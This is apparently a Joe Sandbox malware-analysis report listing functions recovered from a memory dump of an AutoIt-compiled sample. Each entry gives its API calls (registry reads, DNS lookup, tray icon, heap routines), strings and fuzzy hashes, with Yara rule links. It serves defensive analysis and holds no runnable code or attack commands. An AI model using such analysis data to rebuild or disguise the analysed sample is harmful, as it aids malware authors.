Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CurrentDirectory_free$FullLibraryLoadNamePath__wsplitpath_wcscat_wcscpy
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 1510338132-1757145024
Opcode ID: 313e3a8f8f5c31e8fc2575abbe8ea1dc033836d46a42e1d65bb363ced7ad747c
Instruction ID: bfe531a2596bee3d1ade35c57cbbf92a06489fa026932b413e3f4fb588547969
Opcode Fuzzy Hash: 313e3a8f8f5c31e8fc2575abbe8ea1dc033836d46a42e1d65bb363ced7ad747c
Instruction Fuzzy Hash: B2918F71910259AFCF08EFA5CC959EEB7B4BF19310F50402AF426EB291EB309A45CB50

Function 0019413E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

__getstream.LIBCMT ref: 0019418E

Part of subcall function 0019889E: __getptd_noexit.LIBCMT ref: 0019889E

@_EH4_CallFilterFunc@8.LIBCMT ref: 001941C9
__wopenfile.LIBCMT ref: 001941D9

Strings

<G, xrefs: 0019415D, 00194180, 0019418C

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CallFilterFunc@8__getptd_noexit__getstream__wopenfile
String ID: <G
API String ID: 1820251861-2138716496
Opcode ID: abc0c3f0e7fede8081056f7bdc911e9a501321f907ee8b9ca2f2e961ba0c1762
Instruction ID: 0946138588ce03e9ad4ee94bba680c368268cc7a9890083c1eb62fcdc8267ff7
Opcode Fuzzy Hash: abc0c3f0e7fede8081056f7bdc911e9a501321f907ee8b9ca2f2e961ba0c1762
Instruction Fuzzy Hash: 03110270910216ABDF20BFB49C42A6F3BA4BF75350B158539A414CB281EB74D99297A1

Function 0018C955 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,0018C948,SwapMouseButtons,00000004,?), ref: 0018C979
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,0018C948,SwapMouseButtons,00000004,?,?,?,?,0018BF22), ref: 0018C99A
RegCloseKey.KERNEL32(00000000,?,?,0018C948,SwapMouseButtons,00000004,?,?,?,?,0018BF22), ref: 0018C9BC

Strings

Control Panel\Mouse, xrefs: 0018C977

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 831fa9a95c81f03eb26c337557b816d50682733ab87c8e7804d629410aa831dc
Instruction ID: df28e00ea4b3887a633be3c5007c0490c85e08cf2a6c69f9fba81053a814366a
Opcode Fuzzy Hash: 831fa9a95c81f03eb26c337557b816d50682733ab87c8e7804d629410aa831dc
Instruction Fuzzy Hash: FC112776A11218BEDB119FA4DC44EBE7BB8EF04748F1044AAF945E7210E731AE509BA0

Function 001AA8C8 Relevance: 6.3, APIs: 4, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1be526b335f49d79fa7eddd56bb6e2615621b431e5afa85d7f025e2d7b0409b8
Instruction ID: b61faf1cdc950f02c19fa25c654d5c019e57c90e187994b0613bbbe180fae8c6
Opcode Fuzzy Hash: 1be526b335f49d79fa7eddd56bb6e2615621b431e5afa85d7f025e2d7b0409b8
Instruction Fuzzy Hash: A1C18F79A00216EFCB14CF94C884EAEB7B5FF49704F508599E901EB251D730EE41CBA1

Function 001BCC82 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

Part of subcall function 001741A7: _fseek.LIBCMT ref: 001741BF

Part of subcall function 001BCE59: _wcscmp.LIBCMT ref: 001BCF49
Part of subcall function 001BCE59: _wcscmp.LIBCMT ref: 001BCF5C

_free.LIBCMT ref: 001BCDC9
_free.LIBCMT ref: 001BCDD0
_free.LIBCMT ref: 001BCE3B

Part of subcall function 001928CA: RtlFreeHeap.NTDLL(00000000,00000000,?,00198715,00000000,001988A3,00194673,?), ref: 001928DE
Part of subcall function 001928CA: GetLastError.KERNEL32(00000000,?,00198715,00000000,001988A3,00194673,?), ref: 001928F0

_free.LIBCMT ref: 001BCE43

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 66bc342b584f0e90e8e3921fe03708e5c63b2722386060f4a17f54ef5e71cd11
Instruction ID: 426506124d7bf7dc9ee27ee86edfd864891724f8422b396800b5b66c0ffb8b8d
Opcode Fuzzy Hash: 66bc342b584f0e90e8e3921fe03708e5c63b2722386060f4a17f54ef5e71cd11
Instruction Fuzzy Hash: 6D512BB1D04218AFDF15DFA4CC81AAEBBB9EF58340F1040AEF61DA3251D7715A808F69

Function 00171E58 Relevance: 6.1, APIs: 4, Instructions: 65timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00171E87

Part of subcall function 001738E4: _memset.LIBCMT ref: 00173965
Part of subcall function 001738E4: _wcscpy.LIBCMT ref: 001739B5
Part of subcall function 001738E4: Shell_NotifyIconW.SHELL32(00000001,?), ref: 001739C6

KillTimer.USER32(?,00000001), ref: 00171EDC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00171EEB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 001E4526

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: d278e39ed9ddcc86a8f3efd58f86cf1320896fa5d3d5769800ccbacfdd5e74f0
Instruction ID: fc1d5161b82a7d7a1e17b3b0978a223c872fd05f1014a1efc07c1403bbabce6a
Opcode Fuzzy Hash: d278e39ed9ddcc86a8f3efd58f86cf1320896fa5d3d5769800ccbacfdd5e74f0
Instruction Fuzzy Hash: 3121A7719047D4AFEB3787299855BEFBBEC9F05308F04408DE69E56241C7745A84CB51

Function 001C92C0 Relevance: 6.1, APIs: 4, Instructions: 60networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0018F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,001BAEA5,?,?,00000000,00000008), ref: 0018F282
Part of subcall function 0018F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,001BAEA5,?,?,00000000,00000008), ref: 0018F2A6

gethostbyname.WS2_32(?), ref: 001C92F0
WSAGetLastError.WS2_32(00000000), ref: 001C92FB
_memmove.LIBCMT ref: 001C9328
inet_ntoa.WS2_32(?), ref: 001C9333

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 12c7fb827ac924f8fc3df2621caa08c8666c5a6768d90f4e85979e02dbe58579
Instruction ID: 6932a7b93f6bf509a41ab4020b798b77837226d66854ae6304ad56a68dc829f6
Opcode Fuzzy Hash: 12c7fb827ac924f8fc3df2621caa08c8666c5a6768d90f4e85979e02dbe58579
Instruction Fuzzy Hash: BF115E75500109AFCB05FBA0DD56DEE77BAAF24314B108059F506A71A2DB30EE44CB51

Function 0019010A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 001945EC: __FF_MSGBANNER.LIBCMT ref: 00194603
Part of subcall function 001945EC: __NMSG_WRITE.LIBCMT ref: 0019460A
Part of subcall function 001945EC: RtlAllocateHeap.NTDLL(013D0000,00000000,00000001), ref: 0019462F

std::exception::exception.LIBCMT ref: 0019013E
__CxxThrowException@8.LIBCMT ref: 00190153

Part of subcall function 00197495: RaiseException.KERNEL32(?,?,0017125D,00226598,?,?,?,00190158,0017125D,00226598,?,00000001), ref: 001974E6

Strings

bad allocation, xrefs: 00190137

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID: bad allocation
API String ID: 3902256705-2104205924
Opcode ID: a265028b257b64002229603ffeaf546f4df44d576a2477b37617dc861a7d5730
Instruction ID: 7bb31dbf9fe7f056f7949f44f1cf116e79b25b103e81d2ba818cae918394b616
Opcode Fuzzy Hash: a265028b257b64002229603ffeaf546f4df44d576a2477b37617dc861a7d5730
Instruction Fuzzy Hash: 27F0C83910421DBBCF16ABE8ED029EE77EDBF18350F104425F905A21C1DBB0D69096A5

Function 0017C610 Relevance: 4.6, APIs: 3, Instructions: 125COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,?,0017C00E,?,?,?,?,00000010), ref: 0017C627
MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,?,?,?,00000010), ref: 0017C65F
_memmove.LIBCMT ref: 0017C697

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ByteCharMultiWide$_memmove
String ID:
API String ID: 3033907384-0
Opcode ID: 10faa98a1e5bab74255df5b530b659bb96dd0ae396224f0080d7894f33d3cc1e
Instruction ID: 5e847c10d10af33e42e58475457c4720a8a974c0c6f0c8b74f01d20af9dfbbef
Opcode Fuzzy Hash: 10faa98a1e5bab74255df5b530b659bb96dd0ae396224f0080d7894f33d3cc1e
Instruction Fuzzy Hash: B531D9B26012016FDB249F74D846B2BB7E9EF58310F10853DF95E87290EB31E950C791

Function 00173A67 Relevance: 4.6, APIs: 3, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(00173C31), ref: 00173A7D
SHGetPathFromIDListW.SHELL32(?,?), ref: 00173AD2
SHGetDesktopFolder.SHELL32(?), ref: 00173A8F

Part of subcall function 00173B1E: _wcsncpy.LIBCMT ref: 00173B32

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: DesktopFolderFromListMallocPath_wcsncpy
String ID:
API String ID: 3981382179-0
Opcode ID: 1a7bcbfc74ea3cbcdd6615ba2f566d02642832a858514cf0e864a7fe665d67ed
Instruction ID: 9855daa15f0e73cc224b4bcd16d9c77d566be3222f0c3db6350851e6cd4c0c60
Opcode Fuzzy Hash: 1a7bcbfc74ea3cbcdd6615ba2f566d02642832a858514cf0e864a7fe665d67ed
Instruction Fuzzy Hash: DD216F76B00118ABCB14DF95DC89DEEB7BEEF88710B1080A8F50AD7251DB309E46DB94

Function 001945EC Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00194603

Part of subcall function 00198E52: __NMSG_WRITE.LIBCMT ref: 00198E79
Part of subcall function 00198E52: __NMSG_WRITE.LIBCMT ref: 00198E83

__NMSG_WRITE.LIBCMT ref: 0019460A

Part of subcall function 00198EB2: GetModuleFileNameW.KERNEL32(00000000,00230312,00000104,?,00000001,00190127), ref: 00198F44
Part of subcall function 00198EB2: ___crtMessageBoxW.LIBCMT ref: 00198FF2

Part of subcall function 00191D65: ___crtCorExitProcess.LIBCMT ref: 00191D6B
Part of subcall function 00191D65: ExitProcess.KERNEL32 ref: 00191D74

Part of subcall function 0019889E: __getptd_noexit.LIBCMT ref: 0019889E

RtlAllocateHeap.NTDLL(013D0000,00000000,00000001), ref: 0019462F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: db1054a2c66d6cc944f92c75c3bc1c5f1833530695532376719f6dd0aec342c9
Instruction ID: 1f9cccc6a61774632ff0803fe1f90abae71cce3df6593a3b566e0a4bff96671f
Opcode Fuzzy Hash: db1054a2c66d6cc944f92c75c3bc1c5f1833530695532376719f6dd0aec342c9
Instruction Fuzzy Hash: 4B01B171601301ABEE243B65BC56F3A3348AF93B61F12052AF605DB5C2DFB0DC428674

Function 0017E60E Relevance: 4.5, APIs: 3, Instructions: 31windowCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 0017E646
DispatchMessageW.USER32(?), ref: 0017E651
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0017E664

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: f69543b473a8a7862ce08ea8c8c0a9be3d1510aee1d3e0202799ee8af34472e7
Instruction ID: e446c242dbafaea819187fc960af640855c36fbc252021ed6eb0b18dfc838269
Opcode Fuzzy Hash: f69543b473a8a7862ce08ea8c8c0a9be3d1510aee1d3e0202799ee8af34472e7
Instruction Fuzzy Hash: 0FF01C726143459BEB10EBE18C45B7BB7EDBB98744F144C3DB645C3080EBB0D5058B22

Function 001BC450 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 001BC45E

Part of subcall function 001928CA: RtlFreeHeap.NTDLL(00000000,00000000,?,00198715,00000000,001988A3,00194673,?), ref: 001928DE
Part of subcall function 001928CA: GetLastError.KERNEL32(00000000,?,00198715,00000000,001988A3,00194673,?), ref: 001928F0

_free.LIBCMT ref: 001BC46F
_free.LIBCMT ref: 001BC481

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 409dc5471866d52cb660d3acacbc6baa69eb1666097d1b0fc545827c793d8a90
Instruction ID: a7c1300d2f0e738669cb1f527616691746077fa89fc5583666cec89b07c2ea5b
Opcode Fuzzy Hash: 409dc5471866d52cb660d3acacbc6baa69eb1666097d1b0fc545827c793d8a90
Instruction Fuzzy Hash: 56E017A1A00701B7CF24EE79A854BF363CC6F04761B14486EF459D7182DF28E94081B8

Function 0018058E Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 527COMMON

Download Yara Rule

Strings

CALL, xrefs: 001810DB

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: f37b25cc01e913222332a527b83b91c95495eb49d02d552fe1f9c4f1440c39c0
Instruction ID: 32b1801e2a1e31eeaa9264112608833a4702e5064d52d32c92249a25476d29ab
Opcode Fuzzy Hash: f37b25cc01e913222332a527b83b91c95495eb49d02d552fe1f9c4f1440c39c0
Instruction Fuzzy Hash: 77229C70508344DFD769EF24C490A2AB7F1BF99304F25896DE89A8B261D731E989CF42

Function 0017131C Relevance: 3.9, APIs: 3, Instructions: 159COMMON

Download Yara Rule

APIs

Part of subcall function 001716F2: RegisterClipboardFormatW.USER32(WM_GETCONTROLNAME), ref: 00171751

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0017159B
CoInitialize.OLE32(00000000), ref: 00171612
CloseHandle.KERNEL32(00000000), ref: 001E58F7

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Handle$ClipboardCloseFormatInitializeRegister
String ID:
API String ID: 458326420-0
Opcode ID: 802945bf33e581ca3ae6d8451eaf29f81b0a18da0144b61118ed473ea1193be9
Instruction ID: 55c47edacec63336cc8d90864c1486aa86a974b4ebc8211d6145eb908fa416d3
Opcode Fuzzy Hash: 802945bf33e581ca3ae6d8451eaf29f81b0a18da0144b61118ed473ea1193be9
Instruction Fuzzy Hash: 9071CDB4A113459FC314DFAAF99A894BBF9FB68344798816ED20A87372DB704474CF11

Function 00174010 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0017405A

Strings

EA06, xrefs: 001E57B9

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
